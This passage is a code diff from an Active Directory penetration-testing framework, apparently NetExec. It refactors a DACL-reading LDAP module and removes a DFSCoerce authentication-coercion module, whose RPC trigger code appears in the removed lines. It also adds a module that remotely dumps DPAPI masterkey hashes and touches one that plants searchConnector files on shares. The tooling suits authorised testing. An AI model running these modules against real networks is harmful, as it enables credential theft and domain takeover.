-    "S-1-5-32-580": "BUILTIN\Remote Management Users",
+    "S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
+    "S-1-5-32-559": "BUILTIN\\Performance Log Users",
+    "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
+    "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
+    "S-1-5-32-562": "BUILTIN\\Distributed COM Users",
+    "S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
+    "S-1-5-32-573": "BUILTIN\\Event Log Readers",
+    "S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
+    "S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
+    "S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
+    "S-1-5-32-577": "BUILTIN\\RDS Management Servers",
+    "S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
+    "S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
+    "S-1-5-32-580": "BUILTIN\\Remote Management Users",
 }
 
 
@@ -188,18 +190,16 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
 
 
 class NXCModule:
-    """
-    Module to read and backup the Discretionary Access Control List of one or multiple objects.
+    """Module to read and backup the Discretionary Access Control List of one or multiple objects.
+
     This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
     It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
     It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
     """
 
     name = "daclread"
-    description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the  options."
+    description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = False
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -207,29 +207,35 @@ class NXCModule:
 
     def options(self, context, module_options):
         """
-        Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
-        TARGET          The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
-        TARGET_DN       The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
+        Be careful, this module cannot read the DACLS recursively. 
+        For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
+
+        TARGET          The objects that we want to read or backup the DACLs, specified by its SamAccountName
+        TARGET_DN       The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
         PRINCIPAL       The trustee that we want to filter on
         ACTION          The action to realise on the DACL (read, backup)
         ACE_TYPE        The type of ACE to read (Allowed or Denied)
         RIGHTS          An interesting right to filter on ('FullControl', 'ResetPassword', 'WriteMembers', 'DCSync')
         RIGHTS_GUID     A right GUID that specify a particular rights to filter on
+
+        Based on the work of @_nwodtuhs and @BlWasp_.
         """
-        self.context = context
+        context.log.debug(f"module_options: {module_options}")
 
         if not module_options:
             context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
-            exit(1)
+            sys.exit(1)
 
         if module_options and "TARGET" in module_options:
-            if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
+            context.log.debug("There is a target specified!")
+            if isfile(module_options["TARGET"]):
                 try:
-                    self.target_file = open(module_options["TARGET"], "r")
+                    self.target_file = open(module_options["TARGET"])  # noqa: SIM115
                     self.target_sAMAccountName = None
-                except Exception as e:
-                    context.log.fail("The file doesn't exist or cannot be openned.")
+                except Exception:
+                    context.log.fail("The file doesn't exist or cannot be opened.")
             else:
+                context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
                 self.target_sAMAccountName = module_options["TARGET"]
                 self.target_file = None
             self.target_DN = None
@@ -264,48 +270,55 @@ class NXCModule:
         self.filename = None
 
     def on_login(self, context, connection):
-        """
-        On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
-        """
-
-        context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
-        self.baseDN = connection.ldapConnection._baseDN
-        self.ldap_session = connection.ldapConnection
+        self.context = context
+        """On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
+        context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
+        self.baseDN = connection.ldap_connection._baseDN
+        self.ldap_session = connection.ldap_connection
+        self.connection = connection
+        self.context = context
 
         # Searching for the principal SID
         if self.principal_sAMAccountName is not None:
-            _lookedup_principal = self.principal_sAMAccountName
             try:
-                self.principal_sid = format_sid(
-                    self.ldap_session.search(
-                        searchBase=self.baseDN,
-                        searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
-                        attributes=["objectSid"],
-                    )[0][
-                        1
-                    ][0][
-                        1
-                    ][0]
+                resp = connection.search(
+                    searchFilter=f"(sAMAccountName={escape_filter_chars(self.principal_sAMAccountName)})",
+                    attributes=["objectSid"],
                 )
-                context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
+                resp_parsed = parse_result_attributes(resp)[0]
+                self.principal_sid = resp_parsed["objectSid"]
+                context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
             except Exception as e:
-                context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
-                exit(1)
+                context.log.fail(f"Principal SID not found in LDAP ({self.principal_sAMAccountName})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                return
 
-        # Searching for the targets SID and their Security Decriptors
+        # Searching for the targets SID and their Security Descriptors
         # If there is only one target
         if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
-            # Searching for target account with its security descriptor
             try:
-                self.search_target_principal_security_descriptor(context, connection)
+                # Searching for target account with its security descriptor
+                if self.target_sAMAccountName:  # noqa: SIM108
+                    search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
+                else:
+                    search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
+
+                resp = connection.search(
+                    searchFilter=search_filter,
+                    attributes=["distinguishedName", "nTSecurityDescriptor"],
+                    searchControls=security_descriptor_control(sdflags=0x04),
+                )
+                resp_parsed = parse_result_attributes(resp)[0]
+
                 # Extract security descriptor data
-                self.target_principal_dn = self.target_principal[0]
-                self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
+                self.target_principal_dn = resp_parsed["distinguishedName"]
+                self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
                 self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
+                context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
             except Exception as e:
-                context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
-                exit(1)
+                context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
+                context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
+                return
 
             if self.action == "read":
                 self.read(context)
@@ -319,14 +332,20 @@ class NXCModule:
                 try:
                     self.target_sAMAccountName = target.strip()
                     # Searching for target account with its security descriptor
-                    self.search_target_principal_security_descriptor(context, connection)
+                    resp = connection.search(
+                        searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
+                        attributes=["distinguishedName", "nTSecurityDescriptor"],
+                        searchControls=security_descriptor_control(sdflags=0x04),
+                    )
+                    resp_parsed = parse_result_attributes(resp)[0]
+
                     # Extract security descriptor data
-                    self.target_principal_dn = self.target_principal[0]
-                    self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
+                    self.target_principal_dn = resp_parsed["distinguishedName"]
+                    self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
                     self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
-                    context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
-                except Exception as e:
-                    context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
+                    context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
+                except Exception:
+                    context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
                     continue
 
                 if self.action == "read":
@@ -339,7 +358,6 @@ class NXCModule:
     def read(self, context):
         parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
         self.print_parsed_dacl(context, parsed_dacl)
-        return
 
     # Permits to export the DACL of the targets
     # This function is called before any writing action (write, remove or restore)
@@ -348,7 +366,7 @@ class NXCModule:
         backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
         backup["dn"] = str(self.target_principal_dn)
         if not self.filename:
-            self.filename = "dacledit-%s-%s.bak" % (
+            self.filename = "dacledit-{}-{}.bak".format(
                 datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
                 self.target_sAMAccountName,
             )
@@ -357,105 +375,41 @@ class NXCModule:
         context.log.highlight("DACL backed up to %s", self.filename)
         self.filename = None
 
-    # Attempts to retrieve the DACL in the Security Descriptor of the specified target
-    def search_target_principal_security_descriptor(self, context, connection):
-        _lookedup_principal = ""
-        # Set SD flags to only query for DACL
-        controls = security_descriptor_control(sdflags=0x04)
-        if self.target_sAMAccountName is not None:
-            _lookedup_principal = self.target_sAMAccountName
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        if self.target_DN is not None:
-            _lookedup_principal = self.target_DN
-            target = self.ldap_session.search(
-                searchBase=self.baseDN,
-                searchFilter="(distinguishedName=%s)" % _lookedup_principal,
-                attributes=["nTSecurityDescriptor"],
-                searchControls=controls,
-            )
-        try:
-            self.target_principal = target[0]
-        except Exception as e:
-            context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
-            exit(0)
-
-    # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
-    # Not used for the moment
-    #   - samname : a sAMAccountName
-    def get_user_info(self, context, samname):
-        self.ldap_session.search(
-            searchBase=self.baseDN,
-            searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
-            attributes=["objectSid"],
-        )
-        try:
-            dn = self.ldap_session.entries[0].entry_dn
-            sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
-            return dn, sid
-        except Exception as e:
-            context.log.fail("User not found in LDAP: %s" % samname)
-            return False
-
-    # Attempts to resolve a SID and return the corresponding samaccountname
-    #   - sid : the SID to resolve
-    def resolveSID(self, context, sid):
+    def resolveSID(self, sid):
+        """Resolves a SID to its corresponding sAMAccountName."""
         # Tries to resolve the SID from the well known SIDs
-        if sid in WELL_KNOWN_SIDS.keys():
+        if sid in WELL_KNOWN_SIDS:
             return WELL_KNOWN_SIDS[sid]
+
         # Tries to resolve the SID from the LDAP domain dump
-        else:
-            try:
-                dn = self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter="(objectSid=%s)" % sid,
-                    attributes=["sAMAccountName"],
-                )[
-                    0
-                ][0]
-                samname = self.ldap_session.search(
-                    searchBase=self.baseDN,
-                    searchFilter="(objectSid=%s)" % sid,
-                    attributes=["sAMAccountName"],
-                )[0][
-                    1
-                ][0][
-                    1
-                ][0]
-                return samname
-            except Exception as e:
-                context.log.debug("SID not found in LDAP: %s" % sid)
-                return ""
+        try:
+            resp = self.connection.search(
+                searchFilter=f"(objectSid={sid})",
+                attributes=["sAMAccountName"],
+            )
+            return parse_result_attributes(resp)[0]["sAMAccountName"]
+        except Exception:
+            self.context.log.debug(f"SID not found in LDAP: {sid}")
+            return ""
 
     # Parses a full DACL
     #   - dacl : the DACL to parse, submitted in a Security Desciptor format
     def parse_dacl(self, context, dacl):
         parsed_dacl = []
         context.log.debug("Parsing DACL")
-        i = 0
         for ace in dacl["Data"]:
             parsed_ace = self.parse_ace(context, ace)
             parsed_dacl.append(parsed_ace)
-            i += 1
         return parsed_dacl
 
     # Parses an access mask to extract the different values from a simple permission
     # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
-    #   - fsr : the access mask to parse
-    def parse_perms(self, fsr):
-        _perms = []
-        for PERM in SIMPLE_PERMISSIONS:
-            if (fsr & PERM.value) == PERM.value:
-                _perms.append(PERM.name)
-                fsr = fsr & (not PERM.value)
-        for PERM in ACCESS_MASK:
-            if fsr & PERM.value:
-                _perms.append(PERM.name)
-        return _perms
+    def parse_perms(self, access_mask):
+        perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
+        # use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
+        access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
+        perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
+        return perms
 
     # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
     #   - ace : the ACE to parse
@@ -467,93 +421,67 @@ class NXCModule:
             "ACCESS_DENIED_ACE",
             "ACCESS_DENIED_OBJECT_ACE",
         ]:
-            parsed_ace = {}
-            parsed_ace["ACE Type"] = ace["TypeName"]
-            # Retrieves ACE's flags
-            _ace_flags = []
-            for FLAG in ACE_FLAGS:
-                if ace.hasFlag(FLAG.value):
-                    _ace_flags.append(FLAG.name)
-            parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
+            _ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
+            parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
 
             # For standard ACE
             # Extracts the access mask (by parsing the simple permissions) and the principal's SID
             if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
-                parsed_ace["Access mask"] = "%s (0x%x)" % (
-                    ", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
-                    ace["Ace"]["Mask"]["Mask"],
-                )
-                parsed_ace["Trustee (SID)"] = "%s (%s)" % (
-                    self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
-                    ace["Ace"]["Sid"].formatCanonical(),
-                )
-
-            # For object-specific ACE
-            elif ace["TypeName"] in [
-                "ACCESS_ALLOWED_OBJECT_ACE",
-                "ACCESS_DENIED_OBJECT_ACE",
-            ]:
+                access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
+                trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
+                parsed_ace = {
+                    "Access mask": access_mask,
+                    "Trustee (SID)": trustee_sid
+                }
+            elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]:  # for object-specific ACE
                 # Extracts the mask values. These values will indicate the ObjectType purpose
-                _access_mask_flags = []
-                for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
-                    if ace["Ace"]["Mask"].hasPriv(FLAG.value):
-                        _access_mask_flags.append(FLAG.name)
-                parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
+                access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
+                parsed_ace["Access mask"] = ", ".join(access_mask_flags)
                 # Extracts the ACE flag values and the trusted SID
-                _object_flags = []
-                for FLAG in OBJECT_ACE_FLAGS:
-                    if ace["Ace"].hasFlag(FLAG.value):
-                        _object_flags.append(FLAG.name)
-                parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
+                object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
+                parsed_ace["Flags"] = ", ".join(object_flags) or "None"
                 # Extracts the ObjectType GUID values
                 if ace["Ace"]["ObjectTypeLen"] != 0:
                     obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
                     try:
-                        parsed_ace["Object type (GUID)"] = "%s (%s)" % (
-                            OBJECT_TYPES_GUID[obj_type],
-                            obj_type,
-                        )
+                        parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
                     except KeyError:
-                        parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
+                        parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
                 # Extracts the InheritedObjectType GUID values
                 if ace["Ace"]["InheritedObjectTypeLen"] != 0:
                     inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
                     try:
-                        parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
-                            OBJECT_TYPES_GUID[inh_obj_type],
-                            inh_obj_type,
-                        )
+                        parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
                     except KeyError:
-                        parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
+                        parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
                 # Extract the Trustee SID (the object that has the right over the DACL bearer)
-                parsed_ace["Trustee (SID)"] = "%s (%s)" % (
-                    self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
+                parsed_ace["Trustee (SID)"] = "{} ({})".format(
+                    self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
                     ace["Ace"]["Sid"].formatCanonical(),
                 )
-
-        else:
-            # If the ACE is not an access allowed
-            context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
-            parsed_ace = {}
-            parsed_ace["ACE type"] = ace["TypeName"]
-            _ace_flags = []
-            for FLAG in ACE_FLAGS:
-                if ace.hasFlag(FLAG.value):
-                    _ace_flags.append(FLAG.name)
-            parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
-            parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
+        else:  # if the ACE is not an access allowed
+            context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
+            _ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
+            parsed_ace = {
+                "ACE type": ace["TypeName"],
+                "ACE flags": ", ".join(_ace_flags) or "None",
+                "DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
+            }
         return parsed_ace
 
-    # Prints a full DACL by printing each parsed ACE
-    #   - parsed_dacl : a parsed DACL from parse_dacl()
     def print_parsed_dacl(self, context, parsed_dacl):
+        """Prints a full DACL by printing each parsed ACE
+
+        parsed_dacl : a parsed DACL from parse_dacl()
+        """
         context.log.debug("Printing parsed DACL")
-        i = 0
         # If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
         # If an ACE type has been specified, only the ACE with this type will be specified
         # If a principal has been specified, only the ACE where he is the trustee will be printed
-        for parsed_ace in parsed_dacl:
+        for i, parsed_ace in enumerate(parsed_dacl):
             print_ace = True
+            context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
+
             # Filter on specific rights
             if self.rights is not None:
                 try:
@@ -566,7 +494,7 @@ class NXCModule:
                     if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on specific right GUID
             if self.rights_guid is not None:
@@ -574,7 +502,7 @@ class NXCModule:
                     if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on ACE type
             if self.ace_type == "allowed":
@@ -582,13 +510,13 @@ class NXCModule:
                     if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
             else:
                 try:
                     if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
                         print_ace = False
                 except Exception as e:
-                    context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
 
             # Filter on trusted principal
             if self.principal_sid is not None:
@@ -596,18 +524,17 @@ class NXCModule:
                     if self.principal_sid not in parsed_ace["Trustee (SID)"]:
                         print_ace = False
                 except Exception as e:
-                    context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
+                    context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
             if print_ace:
-                self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
+                self.context.log.highlight(f"ACE[{i}] info")
                 self.print_parsed_ace(parsed_ace)
-            i += 1
 
     # Prints properly a parsed ACE
     #   - parsed_ace : a parsed ACE from parse_ace()
     def print_parsed_ace(self, parsed_ace):
         elements_name = list(parsed_ace.keys())
         for attribute in elements_name:
-            self.context.log.highlight("    %-26s: %s" % (attribute, parsed_ace[attribute]))
+            self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
 
     # Retrieves the GUIDs for the specified rights
     def build_guids_for_rights(self):

nxc/modules/dfscoerce.py

@@ -1,21 +1,7 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-from impacket import system_errors
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.ndr import NDRCALL
-from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.uuid import uuidtup_to_bin
-from nxc.logger import nxc_logger
-
-
 class NXCModule:
     name = "dfscoerce"
-    description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
+    description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
     supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -23,131 +9,10 @@ class NXCModule:
         self.listener = None
 
     def options(self, context, module_options):
-        """
-        LISTENER    Listener Address (defaults to 127.0.0.1)
-        """
+        """LISTENER    Listener Address (defaults to 127.0.0.1)"""
         self.listener = "127.0.0.1"
         if "LISTENER" in module_options:
             self.listener = module_options["LISTENER"]
 
     def on_login(self, context, connection):
-        trigger = TriggerAuth()
-        dce = trigger.connect(
-            username=connection.username,
-            password=connection.password,
-            domain=connection.domain,
-            lmhash=connection.lmhash,
-            nthash=connection.nthash,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            doKerberos=connection.kerberos,
-            dcHost=connection.kdcHost,
-            aesKey=connection.aesKey,
-        )
-
-        if dce is not None:
-            context.log.debug("Target is vulnerable to DFSCoerce")
-            trigger.NetrDfsRemoveStdRoot(dce, self.listener)
-            context.log.highlight("VULNERABLE")
-            context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
-            dce.disconnect()
-
-        else:
-            context.log.debug("Target is not vulnerable to DFSCoerce")
-
-
-class DCERPCSessionError(DCERPCException):
-    def __init__(self, error_string=None, error_code=None, packet=None):
-        DCERPCException.__init__(self, error_string, error_code, packet)
-
-    def __str__(self):
-        key = self.error_code
-        if key in system_errors.ERROR_MESSAGES:
-            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
-            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
-            return "DFSNM SessionError: code: 0x%x - %s - %s" % (
-                self.error_code,
-                error_msg_short,
-                error_msg_verbose,
-            )
-        else:
-            return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
-
-
-################################################################################
-# RPC CALLS
-################################################################################
-class NetrDfsRemoveStdRoot(NDRCALL):
-    opnum = 13
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsRemoveStdRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class NetrDfsAddRoot(NDRCALL):
-    opnum = 12
-    structure = (
-        ("ServerName", WSTR),
-        ("RootShare", WSTR),
-        ("Comment", WSTR),
-        ("ApiFlags", DWORD),
-    )
-
-
-class NetrDfsAddRootResponse(NDRCALL):
-    structure = (("ErrorCode", ULONG),)
-
-
-class TriggerAuth:
-    def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
-        rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
-        if hasattr(rpctransport, "set_credentials"):
-            rpctransport.set_credentials(
-                username=username,
-                password=password,
-                domain=domain,
-                lmhash=lmhash,
-                nthash=nthash,
-                aesKey=aesKey,
-            )
-
-        if doKerberos:
-            rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
-        # if target:
-        #    rpctransport.setRemoteHost(target)
-
-        rpctransport.setRemoteHost(target)
-        dce = rpctransport.get_dce_rpc()
-        nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
-        try:
-            dce.connect()
-        except Exception as e:
-            nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
-            return
-        try:
-            dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
-        except Exception as e:
-            nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
-            return
-        nxc_logger.debug("[+] Successfully bound!")
-        return dce
-
-    def NetrDfsRemoveStdRoot(self, dce, listener):
-        nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
-        try:
-            request = NetrDfsRemoveStdRoot()
-            request["ServerName"] = "%s\x00" % listener
-            request["RootShare"] = "test\x00"
-            request["ApiFlags"] = 1
-            if self.args.verbose:
-                nxc_logger.debug(request.dump())
-            # logger.debug(request.dump())
-            resp = dce.request(request)
-
-        except Exception as e:
-            nxc_logger.debug(e)
+        context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')

nxc/modules/dpapi_hash.py

@@ -0,0 +1,62 @@
+from dploot.lib.target import Target
+from dploot.triage.masterkeys import MasterkeysTriage
+
+from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
+
+# Based on dpapimk2john, original work by @fist0urs
+
+
+class NXCModule:
+    name = "dpapi_hash"
+    description = "Remotely dump Dpapi hash based on masterkeys"
+    supported_protocols = ["smb"]
+
+    def options(self, context, module_options):
+        """OUTPUTFILE       Output file to write hashes"""
+        self.outputfile = None
+        if "OUTPUTFILE" in module_options:
+            self.outputfile = module_options["OUTPUTFILE"]
+
+    def on_admin_login(self, context, connection):
+        username = connection.username
+        password = getattr(connection, "password", "")
+        nthash = getattr(connection, "nthash", "")
+
+        target = Target.create(
+            domain=connection.domain,
+            username=username,
+            password=password,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
+            lmhash=getattr(connection, "lmhash", ""),
+            nthash=nthash,
+            do_kerberos=connection.kerberos,
+            aesKey=connection.aesKey,
+            no_pass=True,
+            use_kcache=getattr(connection, "use_kcache", False),
+        )
+        
+        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
+        if conn is None:
+            context.log.debug("Could not upgrade connection")
+            return
+        
+        try:
+            context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
+            masterkeys_triage = MasterkeysTriage(
+                target=target,
+                conn=conn,
+            )
+            context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
+            context.log.debug("Collecting user masterkeys")
+            masterkeys_triage.triage_masterkeys()
+            if self.outputfile is not None:
+                with open(self.outputfile, "a+") as fd:
+                    for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                        context.log.highlight(mkhash)
+                        fd.write(f"{mkhash}\n")
+            else:
+                for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
+                    context.log.highlight(mkhash)
+            
+        except Exception as e:
+            context.log.debug(f"Could not get masterkeys: {e}")

nxc/modules/drop-sc.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import ntpath
 import tempfile
 
@@ -15,8 +12,6 @@ class NXCModule:
     name = "drop-sc"
     description = "Drop a searchConnector-ms file on each writable share"
     supported_protocols = ["smb"]
-    opsec_safe = False
-    multiple_hosts = True
 
     def options(self, context, module_options):
         """
@@ -47,22 +42,21 @@ class NXCModule:
